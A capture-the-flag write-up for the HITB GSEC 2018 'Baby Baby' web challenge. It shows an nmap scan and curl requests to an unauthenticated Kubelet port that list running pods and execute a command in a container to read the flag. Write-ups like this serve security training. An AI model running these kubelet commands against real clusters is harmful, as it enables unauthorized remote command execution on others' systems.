HITB GSEC Qualifiers 2018 - Baby Baby (Web)

An exposed Kubelets port in a vulnerable deployment allows an attacker to run commands without authentication remotely within containers.

Challenge Description

This is a pentest challenge, target 47.75.146.42

http://47.75.146.42

Points

487 Points

22 Solved

Solution

First, we scan the machine for exposed ports.

$ nmap -p- 47.75.146.42

Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-14 00:44 +08
Nmap scan report for 47.75.146.42
Host is up (0.047s latency).
Not shown: 65527 filtered ports
PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http
443/tcp   closed https
2333/tcp  closed snapp
3389/tcp  closed ms-wbt-server
8009/tcp  closed ajp13
9999/tcp  open   abyss
10250/tcp open   unknown

Nmap done: 1 IP address (1 host up) scanned in 119.33 seconds

The port 10250 looks interesting and after a poking at it for a bit, we can evoke a response from it.

curl -k https://47.75.146.42:10250/stats/
{
  "name": "/",
  "subcontainers": [
   {
    "name": "/docker"
   },
   {
    "name": "/kubepods"
   },
   {
    "name": "/system.slice"
   },
   {
    "name": "/user.slice"
   }
  ],
  "spec": {
   "creation_time": "2018-04-13T04:42:43.504+08:00",
   "has_cpu": true,
   "cpu": {
    "limit": 1024,
    "max_limit": 0,
...

It’s the Kubelet service. Turns out that you can run commands in the containers with this. (https://github.com/kayrus/kubelet-exploit) First, we need to get the namespace, pod name, and container name.

curl -k https://47.75.146.42:10250/runningpods/ | jq
...
    {
      "metadata": {
        "name": "web-test-4092782360-035qx",
        "namespace": "esn-system",
        "uid": "a8f7e307-3e14-11e8-838a-00163e0245e7",
        "creationTimestamp": null
      },
      "spec": {
        "containers": [
          {
            "name": "web-test",
            "image": "127.0.0.1:5000/esn-containers/web_test@sha256:ae129fcd94b
d2978db37050f95c62311f5bf9fdbba25817e6e8a098db3a168cf",
            "resources": {}
          }
        ]
      },
      "status": {}
    },

From the above, we can see that:

• Namespace: esn-system
• Pod Name: web-test-4092782360-035qx
• Container Name: web-test

Now, we can run commands on the remote webserver:

curl -k -XPOST \
"https://47.75.146.42:10250/run/esn-system/web-test-4092782360-035qx/web-test" \
-d "cmd=cat /flag.txt"
HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}


DO NOT MODIFY ANYTHING.
WE WILL BAN YOUR TEAM IF YOU CHANG FLAG, DELETE FILES, ETC.

如果你修改、删除文件，我们会 ban 掉你 :D

Flag: HITB{KKKKKKKKKKKKKKKKKKKKKKKKK}